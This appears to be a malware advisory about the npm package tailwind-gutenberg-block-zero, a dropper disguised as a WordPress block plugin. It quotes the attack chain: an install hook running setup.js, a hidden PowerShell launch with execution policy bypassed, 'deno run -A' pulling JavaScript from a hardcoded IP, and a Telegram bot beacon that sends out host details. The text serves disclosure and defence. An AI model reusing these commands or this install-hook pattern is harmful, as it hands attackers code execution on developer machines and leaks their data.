MAL-2026-11044 Malicious code in tailwind-gutenberg-block-zero (npm)

The npm package tailwind-gutenberg-block-zero is a supply-chain dropper disguised as a WordPress / Gutenberg block plugin. The published tarball carries the trappings of a real plugin (a my-tailwind-blocks.php, a wp-scripts build configuration, a README and a screenshot), but its real behaviour lives in an npm install lifecycle hook.

package.json declares scripts.install = "node setup.js", so setup.js executes automatically on npm install, before the package is ever imported. The script fingerprints the host (os.platform(), os.hostname()), downloads a second-stage payload from the hardcoded raw IP http://172.94.9.157/v028f8cde892b0b74c8.js and writes it to disk, then executes it through a hidden, minimised PowerShell process (child_process.exec("start /min powershell ..."), alongside a bundled setup.ps1) — a Windows-targeted download-and-execute chain. Collected data is exfiltrated to a Telegram bot via https://api.telegram.org/bot<token>/sendMessage (the URL was reconstructed from an assembled string; the bot token is withheld).

Any developer workstation or CI runner that installs the package (directly or transitively) hands arbitrary code execution to the operator.

package.json declares "install": "node setup.js", so setup.js runs automatically on npm install. setup.js writes a PowerShell script to the OS temp directory and launches it with start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File... (windowsHide:true, detached:true), then exits within ~500ms to conceal the child process. The staged PowerShell script installs Scoop/winget, installs the Deno runtime, and runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — remote, unpinned JavaScript pulled over cleartext HTTP from a bare IP address and executed with Deno's -A all-permissions flag, giving arbitrary code full filesystem, network, environment, and subprocess access on the installer's machine. setup.js additionally collects os.hostname(), os.platform(), os.arch(), and a package identifier at install time and POSTs a [NEW INSTALLATION] beacon to api.telegram.org/bot<token>/sendMessage (bot token and chat id are blanked in this shipped variant but the exfil path is wired). The destination host is not the package's publisher, the runtime install is not the attack surface, and the fetched-and-executed remote JS is attacker-controlled; the cover story of a CMS Store Hub installation does not match the shipped behavior.